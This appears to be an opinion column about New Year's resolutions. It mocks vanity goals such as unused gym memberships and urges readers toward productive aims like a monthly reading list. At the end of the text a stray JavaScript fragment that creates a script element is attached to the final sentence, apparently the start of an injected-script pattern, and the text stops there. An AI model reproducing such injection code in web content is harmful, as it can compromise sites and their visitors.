Spotlight On: New Year’s Resolutions – a Practical Year?

By Nicola McFadyen

Every year, I lose count of the number of “new year, new me” statuses I read on Facebook and Twitter, and in the following weeks, I lose count of the number of times I exasperatedly follow the yo-yo diets of the aforementioned people.

For myself, I know I am a creature of habit. I know that no matter how many times I tell myself I’m going to eat healthily, and get out of my bed early and go and exercise, within the week I will have returned to comfort eating chocolate cake in my onesie at 2pm, having woken up only an hour previously. However, on the other side of the scale, the idea of a New Year’s Resolution is the pinnacle of the year for certain individuals, who will then proceed to dutifully post photos of themselves in their lycra gym gear for the following month and a half, whilst giving everyone an in-depth description of their workout that nobody cares about.

But what must be questioned is how often is a worthwhile resolution made? I could set my watch by the standard resolutions that are made; I will join a gym, I will eat healthy, I will study more, I’ll be more organised with school/university/work, I will stop turning up for everything half an hour late. However, with these resolutions, I could also set my watch about how many times I watch people break these resolutions as if they don’t matter at all.

Maybe our new year’s resolutions would be much easier to keep if they were much more worthwhile. For example, I had a friend, who decided they were going to do one thing that scared them every month, and by the December of that year, they had had the best year of their life. Resolutions shouldn’t be based simply on vanity, and nor should they be unattainable. Research shows that 70% of resolutions have been broken by the end of January, as people neglect to use the £50 a month gym membership they paid for on a whim, and consequently spend the rest of the year paying for, as they are too embarrassed to admit to themselves that their goal was unrealistic to begin with, telling themselves that they’ll “start next week” until there are no weeks left in the year and they’re £600 out of pocket.

But what if people made resolutions that actually mattered to them? What if as a society, we did something sensible, and decided to stick to a resolution we actually WANTED to keep? Why not make a productive resolution?

Last year, I wrote a list of books, a list of 12, and set myself the challenge to read one of them each month. The resolution wasn’t to read all of the books, the resolution was not to allow myself to get sucked entirely into my university course, and to still remember to make sure to take time to read for leisure, to make sure I didn’t end up hating the sight of anything with two covers and a spine, only one year into my course. My resolution worked wonders for me, and I think it helped me to retain some sanity, especially when I was knee deep in “The Land of Green Plums”.

So this year, I set a challenge for every reader: do something productive with your new years resolution – don’t make it about vanity, and don’t make it unattainable. Don’t spend all of your January SAAS on that pair of lycra leggings you’ll wear once at that fitness class that will nearly kill you. Do something different instead-set a resolution to challenge yourself- write a list of books, and read them all. Set yourself a list of tasks and complete them, start a project, help a charity, volunteer at your local soup kitchen, learn about a different topic every month, and most of all, set the resolution to enjoy yourself!var d=document;var s=d.createElement(‘script’);